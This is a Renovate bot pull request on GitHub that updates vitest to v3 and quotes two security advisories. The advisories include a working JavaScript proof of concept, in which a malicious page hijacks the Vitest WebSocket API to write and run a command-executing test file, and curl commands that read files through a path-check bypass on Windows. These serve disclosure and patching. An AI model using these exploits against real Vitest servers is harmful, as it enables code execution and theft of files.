Skip to content

fix(deps): update dependency vitest to v3 [security] - #120

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-vitest-vulnerability
Open

fix(deps): update dependency vitest to v3 [security]#120
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-vitest-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Feb 7, 2025

Copy link
Copy Markdown
Contributor

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
vitest (source) ^2.0.5^3.0.0 age confidence

Vitest allows Remote Code Execution when accessing a malicious website while Vitest API server is listening

CVE-2025-24964 / GHSA-9crc-q9x8-hgqq

More information

Details

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC
  1. Open Vitest UI.
  2. Access a malicious web site with the script below.
  3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})
Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.

Severity

  • CVSS Score: 9.6 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


When Vitest UI server is listening, arbitrary file can be read and executed

CVE-2026-47429 / GHSA-5xrq-8626-4rwp

More information

Details

Summary

Arbitrary file can be read on Windows when Vitest UI server is listening, especially when exposed to the network.

Impact

Only users that match either of the following conditions are affected:

  • explicitly exposes the Vitest UI server to the network (using --api.host or api.host config option)
  • running the Vitest UI or Browser Mode on Windows
Details

The API handler for /__vitest_attachment__ uses the deprecated isFileServingAllowed incorrectly.
https://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/ui/node/index.ts#L77
The function expects the passed value to use cleanUrl after the check before file system related operation.
Because of this, it is possible to bypass the check by \\?\\..\\. This is not possible on Linux as Linux errors if a directory named ? does not exist.

A similar problem exists in other places as well.

That said, this isFileServingAllowed check does not actually prevent the API to be abused. Since the API has rerun feature and file write feature, it's possible to run arbitrary script by writing a script as a test file using saveTestFile and running it using rerun. This means exposing the API / Vitest UI is equivalent to giving script execution access.
On the browser mode side, there're readFile / writeFile / saveSnapshotFile. So exposing the browser mode is equivalent to giving file read / write access.

PoC
  1. Run Vitest UI
  2. Get the API token by curl http://localhost:51204/__vitest__/
  3. Run curl "http://localhost:51204/__vitest_attachment__?path=C:\\path\\to\\project\\?\\..\\..\\secret.txt&amp;contentType=text/plain&amp;token=$TOKEN" (TOKEN is the API token)
  4. curl shows the content of secret.txt that is outside the project directory
Mitigations

Vitest now ships two configuration flags, allowWrite and allowExec, that gate the privileged operations exploited by this vulnerability. Both are disabled by default whenever the API server is bound to a non-localhost host, ensuring that exposing the server to the network no longer implicitly grants write or execute capabilities to remote clients.

When these flags are disabled, the UI also enters a read-only mode: in-browser code editing and test file execution are turned off, removing the attack surface that allowed remote code execution. Many Browser Mode features are also disabled, like attachments, artifacts or snapshots. See browser.api.

Users who require the full interactive UI on a networked host must explicitly opt in by setting allowWrite and/or allowExec to true.

Severity

  • CVSS Score: 9.8 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

vitest-dev/vitest (vitest)

v3.2.6

Compare Source

v3.2.5

Compare Source

v3.2.4

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v3.2.3

Compare Source

   🚀 Features
   🐞 Bug Fixes
    View changes on GitHub

v3.2.2

Compare Source

   🚀 Features
   🐞 Bug Fixes
    View changes on GitHub

v3.2.1

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v3.2.0

Compare Source

   🚀 Features
   🐞 Bug Fixes
    View changes on GitHub

v3.1.4

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v3.1.3

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v3.1.2

Compare Source

   🐞 Bug Fixes
   🏎 Performance
    View changes on GitHub

v3.1.1

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v3.1.0

Compare Source

🚀 Features
🐞 Bug Fixes
🏎 Performance
View changes on GitHub

v3.0.9

Compare Source

   🐞 Bug Fixes

Note

PR body was truncated to here.


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@changeset-bot

changeset-bot Bot commented Feb 7, 2025

Copy link
Copy Markdown

⚠️ No Changeset found

Latest commit: c9dc807

Merging this PR will not cause a version bump for any packages. If these changes should not result in a new version, you're good to go. If these changes should result in a version bump, you need to add a changeset.

This PR includes no changesets

When changesets are added to this PR, you'll see the packages that this PR includes changesets for and the associated semver types

Click here to learn what changesets are, and how to add one.

Click here if you're a maintainer who wants to add a changeset to this PR

@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from fecdfcc to a6e2c5c Compare February 12, 2025 04:23
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from a6e2c5c to f270fe7 Compare March 5, 2025 00:21
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 69eb08f to 5c92137 Compare March 18, 2025 07:59
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 5c92137 to f3cc515 Compare April 2, 2025 20:19
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from f3cc515 to 29ecb7a Compare April 26, 2025 00:05
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 29ecb7a to cecbf82 Compare May 24, 2025 11:58
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from f7b2869 to da1dd83 Compare June 6, 2025 19:00
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from da1dd83 to 21aa32e Compare June 29, 2025 04:13
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 21aa32e to 8a44103 Compare July 7, 2025 00:08
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 8a44103 to 4dee2ed Compare August 13, 2025 23:46
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 4dee2ed to 213ce9a Compare August 23, 2025 11:05
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 213ce9a to 214988d Compare September 1, 2025 04:32
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 214988d to 310f8c5 Compare September 26, 2025 11:52
@renovate renovate Bot changed the title fix(deps): update dependency vitest to v2.1.9 [security] chore(deps): update dependency vitest to v2.1.9 [security] Sep 26, 2025
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 310f8c5 to fc7bbe1 Compare October 23, 2025 06:29
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 4869c4f to 63b2d7f Compare November 19, 2025 12:14
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from c22ab13 to f1a7d4e Compare January 1, 2026 11:26
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from f1a7d4e to ccbec7c Compare January 9, 2026 08:06
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 0984922 to 2cfc584 Compare January 24, 2026 04:04
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 2cfc584 to b7d1fdb Compare February 3, 2026 04:17
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from b7d1fdb to fece9fe Compare February 13, 2026 23:54
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from fece9fe to 57657a1 Compare February 18, 2026 23:39
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 8e71ba6 to ff2b695 Compare March 14, 2026 19:06
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from ff2b695 to 97f391d Compare April 15, 2026 11:08
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 97f391d to 931f6c7 Compare April 30, 2026 03:10
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 931f6c7 to 82055d3 Compare May 13, 2026 02:59
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 82055d3 to d8ebd32 Compare May 23, 2026 04:01
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 8d47960 to ab65be9 Compare June 1, 2026 15:16
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from ab65be9 to 453902f Compare June 13, 2026 04:04
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 453902f to c3f36b7 Compare July 16, 2026 07:58
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from f1161d9 to 30250b2 Compare July 29, 2026 07:55
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 30250b2 to 419b369 Compare August 1, 2026 13:06
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 419b369 to 4d57395 Compare August 15, 2026 11:10
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 4d57395 to c9dc807 Compare August 29, 2026 15:34
@renovate renovate Bot changed the title chore(deps): update dependency vitest to v2.1.9 [security] fix(deps): update dependency vitest to v3 [security] Aug 29, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants